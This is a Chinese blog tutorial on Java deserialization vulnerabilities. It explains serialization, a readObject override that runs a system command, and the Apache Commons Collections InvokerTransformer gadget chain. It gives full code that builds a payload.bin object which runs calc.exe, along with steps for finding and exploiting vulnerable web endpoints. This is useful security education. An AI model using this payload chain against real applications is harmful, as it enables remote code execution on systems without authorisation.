java序列化_技术干货 | JAVA反序列化漏洞
目录
反序列化漏洞
序列化和反序列化
JAVA WEB中的序列化和反序列化
对象序列化和反序列范例
JAVA中执行系统命令
重写readObject()方法
Apache Commons Collections
反序列化漏洞payload
JAVA Web反序列化漏洞的挖掘和利用
由于本人并非JAVA程序员,所以对JAVA方面的知识不是很懂,仅仅是能看懂而已。本文参照几位大佬的博客进行归纳总结,给大家阐述了JAVA反序列化漏洞的原理以及Payload的构造,文章末尾会放出参考链接。
Part 1
反序列化漏洞
JAVA反序列化漏洞到底是如何产生的?
1、由于很多站点或者RMI仓库等接口处存在java的反序列化功能,于是攻击者可以通过构造特定的恶意对象序列化后的流,让目标反序列化,从而达到自己的恶意预期行为,包括命令执行,甚至 getshell 等等。
2、Apache Commons Collections是开源小组Apache研发的一个 Collections 收集器框架。这个框架中有一个InvokerTransformer.java接口,实现该接口的类可以通过调用java的反射机制来调用任意函数,于是我们可以通过调用Runtime.getRuntime.exec() 函数来执行系统命令。Apache commons collections包的广泛使用,也导致了java反序列化漏洞的大面积流行。
所以最终结果就是如果Java应用对用户的输入做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化过程执行我们自定义的命令,从而实现远程任意代码执行。
在说反序列化漏洞原理之前我们先来说说JAVA对象的序列化和反序列化
Part 2
序列化和反序列化
序列化 (Serialization):将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。
反序列化:从存储区中读取该数据,并将其还原为对象的过程,称为反序列化。
简单的说,序列化和反序列化就是:
把对象转换为字节序列的过程称为对象的序列化
把字节序列恢复为对象的过程称为对象的反序列化
对象序列化的用途:
把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中
在网络上传送对象的字节序列
当两个进程在进行远程通信时,彼此可以发送各种类型的数据。无论是何种类型的数据,最终都会以二进制的形式在网络上传送。发送方需要把这个Java对象序列化;接收方收到数据后把数据反序列化为Java对象。
通常,对象实例的所有字段都会被序列化,这意味着数据会被表示为实例的序列化数据。这样,能够解释该格式的代码就能够确定这些数据的值,而不依赖于该成员的可访问性。类似地,反序列化从序列化的表示形式中提取数据,并直接设置对象状态。
对于任何可能包含重要的安全性数据的对象,如果可能,应该使该对象不可序列化。如果它必须为可序列化的,请尝试生成特定字段来保存重要数据。如果无法实现这一点,则应注意该数据会被公开给任何拥有序列化权限的代码,并确保不让任何恶意代码获得该权限。
在很多应用中,需要对某些对象进行序列化,让它们离开内存空间,入住物理硬盘,以便长期保存。比如最常见的是Web服务器中的Session对象,当有 10万用户并发访问,就有可能出现10万个Session对象,内存可能吃不消,于是Web容器就会把一些seesion先序列化到硬盘中,等要用了,再把保存在硬盘中的对象还原到内存中。
JAVA WEB中的序列化和反序列化
java.io.ObjectOutputStream 代表对象输出流,它的 writeObject() 方法可对参数指定的对象进行序列化,把得到的字节序列写到一个目标输出流中
java.io.ObjectInputStream 代表对象输入流,它的 readObject() 方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回
只有实现了 Serializable 和 Externalizable 接口的类的对象才能被序列化和反序列化。Externalizable 接口继承自 Serializable 接口,实现 Externalizable 接口的类完全由自身来控制反序列化的行为,而实现 Serializable 接口的类既可以采用默认的反序列化方式,也可以自定义反序列化方式。
对象序列化包括如下步骤:
创建一个对象输出流,它可以包装一个其他类型的目标输出流,如文件输出流
通过对象输出流的 writeObject() 方法将对象进行序列化
对象反序列化的步骤如下:
创建一个对象输入流,它可以包装一个其他类型的源输入流,如文件输入流
通过对象输入流的 readObject() 方法将字节序列反序列化为对象
对象序列化和反序列范例
定义一个User类,实现Serializable接口
import java.io.IOException;import java.io.Serializable;public class User implements Serializable{ private String name; public String getName(){ return name; } public void setName(String name){ this.name=name; }}
定义主类,对User对象进行序列化和反序列化
import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.IOException;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;public class Test { public static void main(String[] args) throws IOException { Test a=new Test(); try { a.run(); //序列化 a.run2(); //反序列化 } catch (IOException | ClassNotFoundException e) { e.printStackTrace(); } } //将该对象进行序列化,存储在本地的test.txt文件中 public static void run() throws IOException{ FileOutputStream out=new FileOutputStream("test.txt"); //实例化一个文件输出流 ObjectOutputStream obj_out=new ObjectOutputStream(out); //实例化一个对象输出流 User u=new User(); u.setName("谢公子"); obj_out.writeObject(u); //利用writeObject()方法将类序列化存储在本地 obj_out.close(); System.out.println("User对象序列化成功!"); System.out.println("***********************"); } //将存储在本地test.txt的序列化数据进行反序列化 public void run2() throws IOException,ClassNotFoundException{ FileInputStream in = new FileInputStream("test.txt"); //实例化一个文件输入流 ObjectInputStream ins = new ObjectInputStream(in); //实例化一个对象输入流 User u=(User)ins.readObject(); System.out.println("User对象反序列化成功!"); System.out.println(u.getName()); ins.close(); }}
运行结果
同时,会在当前文件夹生成一个 test.txt 用来存储序列化的对象,内容如下:
JAVA中执行系统命令
我们先来看看JAVA中执行系统命令的方法,如下代码可以执行系统命令:whoami
import java.io.BufferedReader;import java.io.IOException;import java.io.InputStreamReader;import org.omg.CORBA.portable.InputStream; public class main { public static void main(String[] args) throws IOException, InterruptedException { Process p=Runtime.getRuntime().exec("whoami"); java.io.InputStream is=p.getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(is)); p.waitFor(); if (p.exitValue() != 0) { //说明命令执行失败,可以进入到错误处理步骤中 } String s = null; while ((s = reader.readLine()) != null) { System.out.println(s); } }}
运行结果
重写readObject()方法
我们上面说到了可以通过重写 readObject() 方法来自定义类的反序列化方式。所以,我们将User类的 readObject() 进行重写
import java.io.BufferedReader;import java.io.Externalizable;import java.io.IOException;import java.io.InputStreamReader;import java.io.ObjectInput;import java.io.ObjectOutput;import java.io.Serializable;public class User implements Serializable{ private String name; public String getName(){ return name; } public void setName(String name){ this.name=name; } private void readObject(java.io.ObjectInputStream in)throws ClassNotFoundException,IOException, InterruptedException{ //这里使用默认的ReadObject方法 in.defaultReadObject(); //重写,执行系统命令:whoami Process p=Runtime.getRuntime().exec("whoami"); java.io.InputStream is=p.getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(is)); p.waitFor(); if (p.exitValue() != 0) { //说明命令执行失败 //可以进入到错误处理步骤中 } String s = null; while ((s = reader.readLine()) != null) { System.out.println(s); } }}
主类中的代码不变,我们再来执行序列化和反序列化过程。可以看到,除了执行了对象的序列化和反序列化之外,还执行了我们自定义的系统命令的代码。
Apache Commons Collections
Apache Commons Collections 是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发。
Commons Collections 实现了一个TransformedMap类,该类是对Java标准数据结构Map接口的一个扩展。该类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换,具体的变换逻辑由Transformer类定义,Transformer在TransformedMap实例化时作为参数传入。
我们可以通过TransformedMap.decorate()方法,获得一个TransformedMap的实例。如下代码是TransformedMap.decorate()方法
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer);}
Transformer
是一个接口,其中定义的transform()
函数用来将一个对象转换成另一个对象。如下所示
public interface Transformer { public Object transform(Object input);}
当TransformedMap中的任意项的Key或者Value被修改,相应的Transformer的transform()方法
就会被调用。除此以外,多个Transformer
还能串起来,形成ChainedTransformer
。
Apache Commons Collections中已经实现了一些常见的 Transformer
,其中的 InvokerTransformer
接口实现了反射链,可以通过Java的反射机制来执行任意命令。于是我们可以通过InvokerTransformer的反射链获得Runtime类来执行系统命令
传送门——> InvokerTransformer反射链
在上面的 InvokerTransformer反射链 这篇文章中我已经介绍了如何通过修改Value值来触发执行反射链来执行任意命令。
但是目前的构造还需要依赖于修改Map
中的Value值去触发调用反射链,我们需要想办法通过readObject()
直接触发。
如果某个可序列化的类重写了readObject()方法,并且在readObject()中对Map类型的变量进行了键值修改操作,并且这个Map参数是可控的,就可以实现我们的攻击目标了。
于是,我们找到了这个类:AnnotationInvocationHandler ,这个类有一个成员变量 memberValues
是Map
类型,并且在重写的 readObject() 方法中有 memberValue.setValue() 修改Value的操作。简直是完美!
于是我们可以实例化一个AnnotationInvocationHandler类,将其成员变量memberValues赋值为精心构造的恶意TransformedMap对象。然后将其序列化,提交给未做安全检查的Java应用。Java应用在进行反序列化操作时,执行了readObject()函数,修改了Map的Value,则会触发TransformedMap的变换函数transform(),再通过反射链调用了Runtime.getRuntime.exec("XXX") 命令,最终就可以执行我们的任意代码了,一切是那么的天衣无缝!
Part 3
反序列化漏洞payload
反序列化时会执行对象的readObject()方法
Runtime.getRuntime.exec(“xx”)可以执行系统命令
InvokerTransformer的transform()方法可以通过反射链调用Runtime.getRuntime.exec(“xx”)函数来执行系统命令
TransformedMap类的decorate方法用来实例化一个TransformedMap对象,即public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) ,第二个和第三个参数传入一个Transformer,当key值和Value值改变时,会调用Transformer的transformer()方法。于是我们可以将第三个参数传入 InvokerTransformer
Payload构造思路:我们构造恶意的类:AnnotationInvocationHandler,将该类的成员变量memberValues赋值为我们精心构造的TransformedMap对象,并将AnnotationInvocationHandler类进行序列化,然后交给JAVA WEB应用进行反序列化。再进行反序列化时,会执行readObject()方法,该方法会对成员变量TransformedMap的Value值进行修改,该修改触发了TransformedMap实例化时传入的参数InvokerTransformer的transform()方法,InvokerTransformer.transform()方法通过反射链调用Runtime.getRuntime.exec(“xx”)函数来执行系统命令
如下代码,我们通过构造恶意的类AnnotationInvocationHandler并将其序列化保存在 payload.bin文件中,只要将它给存在反序列化漏洞的JAVA WEB 应用进行反序列化就能执行我们的命令了。
import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.IOException;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;import java.util.Map.Entry; import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap; public class main2 { public static void main(String[] args) throws Exception{ Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})}; Transformer transformedChain = new ChainedTransformer(transformers); //实例化一个反射链 Map innerMap = new HashMap(); //实例化一个Map对象 innerMap.put("value", "value"); Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain); //将Map对象和反射链作为参数传入 Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); //得到 AnnotationInvocationHandler类的字节码文件 Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); Object instance = ctor.newInstance(Target.class, outerMap); //得到我们构造好的 AnnotationInvocationHandler类实例 FileOutputStream f = new FileOutputStream("payload.bin"); ObjectOutputStream out = new ObjectOutputStream(f); //创建一个对象输出流 out.writeObject(instance); //将我们构造的 AnnotationInvocationHandler类进行序列化 out.flush(); out.close(); }}
Part 4
JAVA Web反序列化漏洞的挖掘和利用
1:漏洞触发场景
在java编写的web应用与web服务器间通常会发送大量的序列化对象例如以下场景:
HTTP请求中的参数,cookies以及Parameters。
RMI协议,被广泛使用的RMI协议完全基于序列化
JMX 同样用于处理序列化对象
自定义协议 用来接收与发送原始的java对象
2:漏洞挖掘
(1)确定反序列化输入点
首先应找出readObject方法调用,在找到之后进行下一步的注入操作。一般可以通过以下方法进行查找:
1)源码审计:寻找可以利用的“靶点”,即确定调用反序列化函数readObject的调用地点。
2)对该应用进行网络行为抓包,寻找序列化数据,java序列化的数据一般会以标记(ac ed 00 05)开头,base64编码后的特征为rO0AB。
(2)再考察应用的Class Path中是否包含Apache Commons Collections库
(3)生成反序列化的payload
(4)提交我们的payload数据
参考文章:Java反序列化漏洞从无到有
Lib之过?Java反序列化漏洞通用利用分析
Java反序列化漏洞分析
Commons Collections Java反序列化漏洞深入分析
java序列化_技术干货 | JAVA反序列化漏洞相关推荐
- java序列化_今天聊聊 Java 序列化
点击上方 Java后端,选择 设为星标 优质文章,及时送达在开发过程中经常会对实体进行序列化,但其实我们只是在"只知其然,不知其所以然"的状态,很多时候会有这些问题: 什么是序列化 ...
- java序列化_深入学习Java序列化
前言 对于Java的序列化,一直只知道只需要实现Serializbale这个接口就可以了,具体内部实现一直不是很了解,正好这次在重复造RPC的轮子的时候涉及到序列化问题,就抽时间看了下 Java序列化 ...
- 什么是java序列化_什么是Java序列化?为什么序列化?序列化有哪些方式?
先普及一下,计算机中无法识别一个基本单元[字节]来表示,必须经过"翻译"才能让计算机理解人类的语言,这个翻译过程就是[编码],通常所说的字符转换为字节. ?有I/O的地方机就会涉及 ...
- java序列化_夯实Java基础系列22:一文读懂Java序列化和反序列化
本系列文章将整理到我在GitHub上的<Java面试指南>仓库,更多精彩内容请到我的仓库里查看 https://github.com/h2pl/Java-Tutorial 喜欢的话麻烦点下 ...
- fegin调用为什么要序列化_全方位解析Java的序列化
前言 相信大家日常开发中,经常看到Java对象"implements Serializable".那么,它到底有什么用呢?本文从以下几个角度来解析序列这一块知识点~ 什么是Java ...
- java文件序列化_通过快速Java和文件序列化加快速度
java文件序列化 从Java的第一个版本开始,许多开发人员每天都在努力实现至少与C / C ++一样好的性能. JVM供应商正在通过实现一些新的JIT算法来尽力而为,但仍有许多工作要做,尤其是在我们 ...
- java string 序列化_详解JAVA序列化
享学课堂作者:逐梦々少年 转载请声明出处! 现在开发过程中经常遇到多个进程多个服务间需要交互,或者不同语言的服务之间需要交互,这个时候,我们一般选择使用固定的协议,将数据传输过去,但是在很多语言,比如 ...
- Java 核心编程技术干货
Java 基础篇 Java 多线程篇 Java JVM篇 Java 进阶篇 Java 新特性篇 Java 工具类篇 Java 综合篇 Java基础篇 恕我直言,在座的各位根本写不好Java! 8张图带 ...
- Java序列化机制原理,java面试题,java基础笔试题,BAT
写在最前面,我总结出了很多互联网公司的面试题及答案,并整理成了文档,以及各种学习的进阶学习资料,免费分享给大家.扫码加微信好友进[程序员面试学习交流群],免费领取.也欢迎各位一起在群里探讨技术. Ja ...
最新文章
- python复习冒泡排序
- python画图代码彩虹-Python利用turtle库绘制彩虹代码示例
- Machine Learning week 7 quiz: Support Vector Machines
- 网易2019实习生Java编程题
- Apache Flink 为什么能够成为新一代大数据计算引擎?
- c语言在单行文本上删除子串,一道比较简单的题——PTA基础编程题目集 7-29 删除字符串中的子串 C语言试解-Go语言中文社区...
- 架构即未来 - 组织的设置 读书笔记
- jadc连接oracle,用jdbc连接oracle的第一次经历
- 二级 c语言真题及答案,3月计算机二级C语言真题及答案(完整版)
- win7计算机病毒制作教程,怎么制造计算机病毒
- 动手学深度学习pytorch入门
- 亲身经历从软通外包到华为OD,两者有什么区别?
- 回顾2017展望未来
- python读取文本某一行内容
- 最全的数据中心(IDC)机房整体工程介绍
- RFID危化品管理系统解决方案
- html5手机端页面缩放问题的解决
- rar和unrar压缩解压
- KLayout教程(一)画不同的形状
- js判断早上好,上午好,下午好,傍晚好,晚上好
热门文章
- C4C的导航菜单的问题,disable这个属性,就会变成正常的两级菜单
- How is CRM status filtering logic done
- perform build_lc_system_stat
- how is navigation list item click event handled - actually no logic done
- Android studio如何连接三星手机
- 使用代码执行organization unit determination逻辑
- 快速定位Product assignment block里对应的修改逻辑使用的function module
- 批量删除指定user和transaction type对应order的report
- Usage of field SENDABLE in BOL entity
- CRM_REPORT_RF_AUTH_OBJ_ORD_LP